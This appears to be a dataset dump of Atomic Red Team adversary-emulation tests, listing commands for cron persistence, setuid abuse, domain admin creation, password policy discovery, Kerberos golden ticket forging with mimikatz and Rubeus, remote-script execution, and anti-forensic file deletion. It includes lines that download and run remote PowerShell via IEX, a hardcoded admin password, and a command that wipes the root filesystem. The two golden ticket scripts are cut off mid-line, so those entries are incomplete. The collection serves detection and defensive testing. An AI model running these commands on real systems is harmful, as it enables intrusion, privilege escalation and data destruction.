deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1053.003: Scheduled Task/Job: Cron
Test: Cron - Add script to /var/spool/cron/crontabs/ folder
Platforms: linux
Executor: bash

Description:
This test adds a script to a /var/spool/cron/crontabs folder configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.


Command:
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}


Cleanup:
rm /var/spool/cron/crontabs/#{cron_script_name} -f
Atomic Red Team — T1652: Device Driver Discovery
Test: Device Driver Discovery
Platforms: windows
Executor: powershell

Description:
Displays a list of installed device drivers on the local computer and their properties. Threat actors use this command to enumerate the existing drivers on the computer. 
Parameters: 
/v /fo list - Displays verbose output in a list format - the /v parameter is not valid for signed drivers
/si /fo list - Provides information about signed drivers and outputs it in a list format


Command:
driverquery /v /fo list
driverquery /si /fo list
Atomic Red Team — T1652: Device Driver Discovery
Test: Device Driver Discovery (Linux)
Platforms: linux
Executor: bash

Description:
Displays a list of loaded kernel modules on a Linux system, which is used to enumerate drivers.


Command:
lsmod
Atomic Red Team — T1652: Device Driver Discovery
Test: Enumerate Kernel Driver Files (Linux)
Platforms: linux
Executor: bash

Description:
Finds and lists all kernel driver files on a Linux system in order to provide a broader view of available drivers, not just loaded ones.


Command:
find /lib/modules/$(uname -r)/kernel/drivers -name "*.ko*"
Atomic Red Team — T1652: Device Driver Discovery
Test: List loaded kernel extensions (macOS)
Platforms: macos
Executor: bash

Description:
Displays a list of loaded kernel extensions (kexts) on a macOS system.


Command:
kextstat
Atomic Red Team — T1652: Device Driver Discovery
Test: Find Kernel Extensions (macOS)
Platforms: macos
Executor: bash

Description:
Searches for kernel extension (kext) files on a macOS system.


Command:
kextfind
Atomic Red Team — T1548.001: Abuse Elevation Control Mechanism: Setuid and Setgid
Test: Make and modify binary from C source
Platforms: macos, linux
Executor: sh

Description:
Make, change owner, and change file attributes on a C source code file


Command:
cp #{payload} /tmp/hello.c
sudo chown root /tmp/hello.c
sudo make /tmp/hello
sudo chown root /tmp/hello
sudo chmod u+s /tmp/hello
/tmp/hello


Cleanup:
sudo rm /tmp/hello
sudo rm /tmp/hello.c
Atomic Red Team — T1548.001: Abuse Elevation Control Mechanism: Setuid and Setgid
Test: Make and modify binary from C source (freebsd)
Platforms: linux
Executor: sh

Description:
Make, change owner, and change file attributes on a C source code file


Command:
cp #{payload} /tmp/hello.c
chown root /tmp/hello.c
make /tmp/hello
chown root /tmp/hello
chmod u+s /tmp/hello
/tmp/hello


Cleanup:
rm /tmp/hello
rm /tmp/hello.c
Atomic Red Team — T1548.001: Abuse Elevation Control Mechanism: Setuid and Setgid
Test: Set a SetUID flag on file
Platforms: macos, linux
Executor: sh

Description:
This test sets the SetUID flag on a file in FreeBSD.


Command:
sudo touch #{file_to_setuid}
sudo chown root #{file_to_setuid}
sudo chmod u+xs #{file_to_setuid}


Cleanup:
sudo rm #{file_to_setuid}
Atomic Red Team — T1548.001: Abuse Elevation Control Mechanism: Setuid and Setgid
Test: Set a SetUID flag on file (freebsd)
Platforms: linux
Executor: sh

Description:
This test sets the SetUID flag on a file in FreeBSD.


Command:
touch #{file_to_setuid}
chown root #{file_to_setuid}
chmod u+xs #{file_to_setuid}


Cleanup:
rm #{file_to_setuid}
Atomic Red Team — T1548.001: Abuse Elevation Control Mechanism: Setuid and Setgid
Test: Set a SetGID flag on file
Platforms: macos, linux
Executor: sh

Description:
This test sets the SetGID flag on a file in Linux and macOS.


Command:
sudo touch #{file_to_setuid}
sudo chown root #{file_to_setuid}
sudo chmod g+xs #{file_to_setuid}


Cleanup:
sudo rm #{file_to_setuid}
Atomic Red Team — T1548.001: Abuse Elevation Control Mechanism: Setuid and Setgid
Test: Set a SetGID flag on file (freebsd)
Platforms: linux
Executor: sh

Description:
This test sets the SetGID flag on a file in FreeBSD.


Command:
touch #{file_to_setuid}
chown root #{file_to_setuid}
chmod g+xs #{file_to_setuid}


Cleanup:
rm #{file_to_setuid}
Atomic Red Team — T1548.001: Abuse Elevation Control Mechanism: Setuid and Setgid
Test: Make and modify capabilities of a binary
Platforms: linux
Executor: sh

Description:
Make and modify [capabilities](https://man7.org/linux/man-pages/man7/capabilities.7.html) of a C source code file.
The binary doesn't have to modify the UID, but the binary is given the capability to arbitrarily modify it at any time with `setuid(0)`.
Without being owned by root, the binary can set the UID to 0.


Command:
cp #{payload} /tmp/cap.c
make /tmp/cap
sudo setcap cap_setuid=ep /tmp/cap
/tmp/cap


Cleanup:
rm /tmp/cap
rm /tmp/cap.c
Atomic Red Team — T1548.001: Abuse Elevation Control Mechanism: Setuid and Setgid
Test: Provide the SetUID capability to a file
Platforms: linux
Executor: sh

Description:
This test gives a file the capability to set UID without using flags.


Command:
touch #{file_to_setcap}
sudo setcap cap_setuid=ep #{file_to_setcap}


Cleanup:
rm #{file_to_setcap}
Atomic Red Team — T1548.001: Abuse Elevation Control Mechanism: Setuid and Setgid
Test: Do reconnaissance for files that have the setuid bit set
Platforms: linux
Executor: sh

Description:
This test simulates a command that can be run to enumerate files that have the setuid bit set


Command:
find /usr/bin -perm -4000
Atomic Red Team — T1548.001: Abuse Elevation Control Mechanism: Setuid and Setgid
Test: Do reconnaissance for files that have the setgid bit set
Platforms: linux
Executor: sh

Description:
This test simulates a command that can be run to enumerate files that have the setgid bit set


Command:
find /usr/bin -perm -2000
Atomic Red Team — T1136.002: Create Account: Domain Account
Test: Create a new Windows domain admin user
Platforms: windows
Executor: command_prompt

Description:
Creates a new domain admin user in a command prompt.


Command:
net user "#{username}" "#{password}" /add /domain
net group "#{group}" "#{username}" /add /domain


Cleanup:
net user "#{username}" >nul 2>&1 /del /domain
Atomic Red Team — T1136.002: Create Account: Domain Account
Test: Create a new account similar to ANONYMOUS LOGON
Platforms: windows
Executor: command_prompt

Description:
Create a new account similar to ANONYMOUS LOGON in a command prompt.


Command:
net user "#{username}" "#{password}" /add /domain


Cleanup:
net user "#{username}" >nul 2>&1 /del /domain
Atomic Red Team — T1136.002: Create Account: Domain Account
Test: Create a new Domain Account using PowerShell
Platforms: windows
Executor: powershell

Description:
Creates a new Domain User using the credentials of the Current User


Command:
$SamAccountName = '#{username}'
$Account[CREDENTIAL_REDACTED]-SecureString '#{password}' -AsPlainText -Force
Add-Type -AssemblyName System.DirectoryServices.AccountManagement
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain)
$User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList ($Context)
$User.SamAccountName = $SamAccountName
$TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword)
$User.SetPassword($TempCred.GetNetworkCredential().Password)
$User.Enabled = $True
$User.PasswordNotRequired = $False
$User.DisplayName = $SamAccountName
$User.Save()
$User


Cleanup:
cmd /c "net user #{username} /del >nul 2>&1"
Atomic Red Team — T1136.002: Create Account: Domain Account
Test: Active Directory Create Admin Account
Platforms: linux
Executor: sh

Description:
Use Admin Credentials to Create A Domain Admin Account


Command:
echo "dn: CN=Admin User,CN=Users,DC=#{domain},DC=#{top_level_domain}\nchangetype: add\nobjectClass: top\nobjectClass: person\nobjectClass: organizationalPerson\nobjectClass: user\ncn: Admin User\nsn: User\ngivenName: Atomic User\nuserPrincipalName: adminuser@#{domain}.#{top_level_domain}\nsAMAccountName: adminuser\nuserAccountControl: 512\nuserPassword: {CLEARTEXT}s3CureP4ssword123!\nmemberOf: CN=Domain Admins,CN=Users,DC=#{domain},DC=#{top_level_domain}" > tempadmin.ldif
echo ldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif
ldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif


Cleanup:
echo removing Atomic User (temporary user)
echo "dn: cn=Atomic User,cn=Users,dc=scwxscratch,dc=dev\nchangetype: delete" > deleteuser.ldif
ldapmodify -H ldap://#{domain_controller}:389 -x -D #{admin_user} -w #{admin_password} -f deleteuser.ldif
rm deleteuser.ldif
rm tempadmin.ldif


Dependencies:
Packages sssd-ad sssd-tools realmd adcli installed and realm available
Atomic Red Team — T1136.002: Create Account: Domain Account
Test: Active Directory Create User Account (Non-elevated)
Platforms: linux
Executor: sh

Description:
Use Admin Credentials to Create A Normal Account (as means of entry)


Command:
echo "dn: cn=Atomic User, cn=Users,dc=#{domain},dc=#{top_level_domain}\nobjectClass: person\ncn: Atomic User\nsn: User" > tempadmin.ldif
echo ldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif
ldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif


Cleanup:
echo removing Atomic User (temporary user)
echo "dn: cn=Atomic User,cn=Users,dc=scwxscratch,dc=dev\nchangetype: delete" > deleteuser.ldif
ldapmodify -H ldap://#{domain_controller}:389 -x -D #{admin_user} -w #{admin_password} -f deleteuser.ldif
rm deleteuser.ldif
rm tempadmin.ldif


Dependencies:
Packages sssd-ad sssd-tools realmd adcli installed and realm available, ldapadd, ldapmodify
Atomic Red Team — T1201: Password Policy Discovery
Test: Examine password complexity policy - Ubuntu
Platforms: linux
Executor: bash

Description:
Lists the password complexity policy to console on Ubuntu Linux.


Command:
cat /etc/pam.d/common-password
Atomic Red Team — T1201: Password Policy Discovery
Test: Examine password complexity policy - FreeBSD
Platforms: linux
Executor: sh

Description:
Lists the password complexity policy to console on FreeBSD.


Command:
cat /etc/pam.d/passwd
Atomic Red Team — T1201: Password Policy Discovery
Test: Examine password complexity policy - CentOS/RHEL 7.x
Platforms: linux
Executor: bash

Description:
Lists the password complexity policy to console on CentOS/RHEL 7.x Linux.


Command:
cat /etc/security/pwquality.conf


Dependencies:
System must be CentOS or RHEL v7
Atomic Red Team — T1201: Password Policy Discovery
Test: Examine password complexity policy - CentOS/RHEL 6.x
Platforms: linux
Executor: bash

Description:
Lists the password complexity policy to console on CentOS/RHEL 6.x Linux.


Command:
cat /etc/pam.d/system-auth
cat /etc/security/pwquality.conf


Dependencies:
System must be CentOS or RHEL v6
Atomic Red Team — T1201: Password Policy Discovery
Test: Examine password expiration policy - All Linux
Platforms: linux
Executor: bash

Description:
Lists the password expiration policy to console on CentOS/RHEL/Ubuntu.


Command:
cat /etc/login.defs
Atomic Red Team — T1201: Password Policy Discovery
Test: Examine local password policy - Windows
Platforms: windows
Executor: command_prompt

Description:
Lists the local password policy to console on Windows.


Command:
net accounts
Atomic Red Team — T1201: Password Policy Discovery
Test: Examine domain password policy - Windows
Platforms: windows
Executor: command_prompt

Description:
Lists the domain password policy to console on Windows.


Command:
net accounts /domain
Atomic Red Team — T1201: Password Policy Discovery
Test: Examine password policy - macOS
Platforms: macos
Executor: bash

Description:
Lists the password policy to console on macOS.


Command:
pwpolicy getaccountpolicies
Atomic Red Team — T1201: Password Policy Discovery
Test: Get-DomainPolicy with PowerView
Platforms: windows
Executor: powershell

Description:
Utilizing PowerView, run Get-DomainPolicy to return the default domain policy or the domain controller policy for the current domain or a specified domain/domain controller.


Command:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainPolicy -verbose
Atomic Red Team — T1201: Password Policy Discovery
Test: Enumerate Active Directory Password Policy with get-addefaultdomainpasswordpolicy
Platforms: windows
Executor: powershell

Description:
The following Atomic test will utilize get-addefaultdomainpasswordpolicy to enumerate domain password policy.
Upon successful execution a listing of the policy implemented will display.
Reference: https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-addefaultdomainpasswordpolicy?view=windowsserver2022-ps


Command:
get-addefaultdomainpasswordpolicy
Atomic Red Team — T1201: Password Policy Discovery
Test: Use of SecEdit.exe to export the local security policy (including the password policy)
Platforms: windows
Executor: command_prompt

Description:
SecEdit.exe can be used to export the current local security policy applied to a host.
[Reference](https://blueteamops.medium.com/secedit-and-i-know-it-595056dee53d)


Command:
secedit.exe /export /areas SECURITYPOLICY /cfg output_mysecpol.txt
Atomic Red Team — T1201: Password Policy Discovery
Test: Examine AWS Password Policy
Platforms: iaas:aws
Executor: sh

Description:
This atomic test will display details about the password policy for the current AWS account.


Command:
aws iam get-account-password-policy


Dependencies:
Check if ~/.aws/credentials file has a default stanza is configured
Atomic Red Team — T1558.001: Steal or Forge Kerberos Tickets: Golden Ticket
Test: Crafting Active Directory golden tickets with mimikatz
Platforms: windows
Executor: powershell

Description:
Once the hash of the special krbtgt user is retrieved it is possible to craft Kerberos Ticket Granting Ticket impersonating any user in the Active Directory domain.
This test crafts a Golden Ticket and then performs an SMB request with it for the SYSVOL share, thus triggering a service ticket request (event ID 4769).
The generated ticket is injected in a new empty Windows session and discarded after, so it does not pollute the current Windows session.


Command:
Remove-Item $env:TEMP\golden.bat -ErrorAction Ignore
Remove-Item $env:TEMP\golden.txt -ErrorAction Ignore

# get current domain SID if default was used
$domain_sid = "#{domain_sid}"
If ($domain_sid -Match "DEFAULT") {
  # code from https://www.sevecek.com/EnglishPages/Lists/Posts/Post.aspx?ID=60
  $domain = gwmi Win32_ComputerSystem | Select -Expand Domain
  $krbtgtSID = (New-Object Security.Principal.NTAccount $domain\krbtgt).Translate([Security.Principal.SecurityIdentifier]).Value
  $domain_sid = $krbtgtSID.SubString(0, $krbtgtSID.LastIndexOf('-'))
}

# create batch file with commands to run in a separate "runas /netonly" session
# so we don't purge Kerberos ticket from the current Windows session
# its output goes to golden.txt temp file, because we cannot capture "runas /netonly" outpu

Dependencies:
Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})
Atomic Red Team — T1558.001: Steal or Forge Kerberos Tickets: Golden Ticket
Test: Crafting Active Directory golden tickets with Rubeus
Platforms: windows
Executor: powershell

Description:
Once the hash of the special krbtgt user is retrieved it is possible to craft Kerberos Ticket Granting Ticket impersonating any user in the Active Directory domain.
This test crafts a Golden Ticket and then performs an SMB request with it for the SYSVOL share, thus triggering a service ticket request (event ID 4769).
The generated ticket is injected in a new empty Windows session and discarded after, so it does not pollute the current Windows session.


Command:
Remove-Item $env:TEMP\golden.bat -ErrorAction Ignore
Remove-Item $env:TEMP\golden.txt -ErrorAction Ignore

cmd.exe /c "#{local_folder}\#{local_executable}" golden /aes256:#{krbtgt_aes256_key} /ldap /user:#{account} /dc:$(#{domaincontroller}) /printcmd /outfile:golden
$filename = (Get-ChildItem | ? {$_.Name.startswith("golden_")} | Sort-Object -Descending -Property LastWriteTime | select -First 1).Name

# create batch file with commands to run in a separate "runas /netonly" session
# so we don't purge Kerberos ticket from the current Windows session
# its output goes to golden.txt temp file, because we cannot capture "runas /netonly" output otherwise
@"
>%TEMP%\golden.txt 2>&1 (
  echo Purge existing tickets and create golden ticket:
  klist purge
  cd %temp%
  "#{local_folder}\#{local_exec

Dependencies:
Computer must be domain joined

Rubeus must exist
Atomic Red Team — T1059.005: Command and Scripting Interpreter: Visual Basic
Test: Visual Basic script execution to gather local computer information
Platforms: windows
Executor: powershell

Description:
Visual Basic execution test, execute vbscript via PowerShell.

When successful, system information will be written to $env:TEMP\T1059.005.out.txt.

Command:
cscript "#{vbscript}" > $env:TEMP\T1059.005.out.txt


Cleanup:
Remove-Item $env:TEMP\T1059.005.out.txt -ErrorAction Ignore

Dependencies:
Sample script must exist on disk at specified location (#{vbscript})
Atomic Red Team — T1059.005: Command and Scripting Interpreter: Visual Basic
Test: Encoded VBS code execution
Platforms: windows
Executor: powershell

Description:
This module takes an encoded VBS script and executes it from within a malicious document. By default, upon successful execution
a message box will pop up displaying "ART T1059.005"

A note regarding this module, due to the way that this module utilizes "ScriptControl" a 64bit version of Microsoft Office is required.
You can validate this by opening WinWord -> File -> Account -> About Word


Command:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1059.005\src\T1059.005-macrocode.txt" -officeProduct "Word" -sub "Exec"


Cleanup:
Get-WmiObject win32_process | Where-Object {$_.CommandLine -like "*mshta*"}  | % { "$(Stop-Process $_.ProcessID)" } | Out-Null


Dependencies:
The 64-bit version of Microsoft Office must be installed
Atomic Red Team — T1059.005: Command and Scripting Interpreter: Visual Basic
Test: Extract Memory via VBA
Platforms: windows
Executor: powershell

Description:
This module attempts to emulate malware authors utilizing well known techniques to extract data from memory/binary files. To do this
we first create a string in memory then pull out the pointer to that string. Finally, it uses this pointer to copy the contents of that
memory location to a file stored in the $env:TEMP\atomic_t1059_005_test_output.bin.


Command:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) 
Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1059.005\src\T1059_005-macrocode.txt" -officeProduct "Word" -sub "Extract"


Cleanup:
Remove-Item "$env:TEMP\atomic_t1059_005_test_output.bin" -ErrorAction Ignore


Dependencies:
Microsoft #{ms_product} must be installed
Atomic Red Team — T1070.004: Indicator Removal on Host: File Deletion
Test: Delete a single file - FreeBSD/Linux/macOS
Platforms: linux, macos
Executor: sh

Description:
Delete a single file from the temporary directory


Command:
rm -f #{file_to_delete}


Cleanup:
rm -rf #{parent_folder}


Dependencies:
The file must exist in order to be deleted
Atomic Red Team — T1070.004: Indicator Removal on Host: File Deletion
Test: Delete an entire folder - FreeBSD/Linux/macOS
Platforms: linux, macos
Executor: sh

Description:
Recursively delete the temporary directory and all files contained within it


Command:
rm -rf #{folder_to_delete}


Dependencies:
The folder must exist in order to be deleted
Atomic Red Team — T1070.004: Indicator Removal on Host: File Deletion
Test: Overwrite and delete a file with shred
Platforms: linux
Executor: sh

Description:
Use the `shred` command to overwrite the temporary file and then delete it


Command:
shred -u #{file_to_shred}


Dependencies:
Check if file already exists
Atomic Red Team — T1070.004: Indicator Removal on Host: File Deletion
Test: Delete a single file - Windows cmd
Platforms: windows
Executor: command_prompt

Description:
Delete a single file from the temporary directory using cmd.exe.
Upon execution, no output will be displayed. Use File Explorer to verify the file was deleted.


Command:
del /f #{file_to_delete}


Dependencies:
The file to delete must exist on disk at specified location (#{file_to_delete})
Atomic Red Team — T1070.004: Indicator Removal on Host: File Deletion
Test: Delete an entire folder - Windows cmd
Platforms: windows
Executor: command_prompt

Description:
Recursively delete a folder in the temporary directory using cmd.exe.
Upon execution, no output will be displayed. Use File Explorer to verify the folder was deleted.


Command:
rmdir /s /q #{folder_to_delete}


Dependencies:
The file to delete must exist on disk at specified location (#{folder_to_delete})
Atomic Red Team — T1070.004: Indicator Removal on Host: File Deletion
Test: Delete a single file - Windows PowerShell
Platforms: windows
Executor: powershell

Description:
Delete a single file from the temporary directory using Powershell. Upon execution, no output will be displayed. Use File Explorer to verify the file was deleted.


Command:
Remove-Item -path #{file_to_delete}


Dependencies:
The file to delete must exist on disk at specified location (#{file_to_delete})
Atomic Red Team — T1070.004: Indicator Removal on Host: File Deletion
Test: Delete an entire folder - Windows PowerShell
Platforms: windows
Executor: powershell

Description:
Recursively delete a folder in the temporary directory using Powershell. Upon execution, no output will be displayed. Use File Explorer to verify the folder was deleted.


Command:
Remove-Item -Path #{folder_to_delete} -Recurse


Dependencies:
The folder to delete must exist on disk at specified location (#{folder_to_delete})
Atomic Red Team — T1070.004: Indicator Removal on Host: File Deletion
Test: Delete Filesystem - Linux
Platforms: linux
Executor: sh

Description:
This test deletes the entire root filesystem of a Linux system. This technique was used by Amnesia IoT malware to avoid analysis. This test is dangerous and destructive, do NOT use on production equipment.


Command:
[ "$(uname)" = 'Linux' ] && rm -rf / --no-preserve-root > /dev/null 2> /dev/null || chflags -R 0 / && rm -rf / > /dev/null 2> /dev/null
Atomic Red Team — T1070.004: Indicator Removal on Host: File Deletion
Test: Delete Prefetch File
Platforms: windows
Executor: powershell

Description:
Delete a single prefetch file.  Deletion of prefetch files is a known anti-forensic technique. To verify execution, Run `(Get-ChildItem -Path "$Env:SystemRoot\prefetch\*.pf" | Measure-Object).Count`
before and after the test to verify that the number of prefetch files decreases by 1.


Command:
Remove-Item -Path (Join-Path "$Env:SystemRoot\prefetch\" (Get-ChildItem -Path "$Env:SystemRoot\prefetch\*.pf" -Name)[0])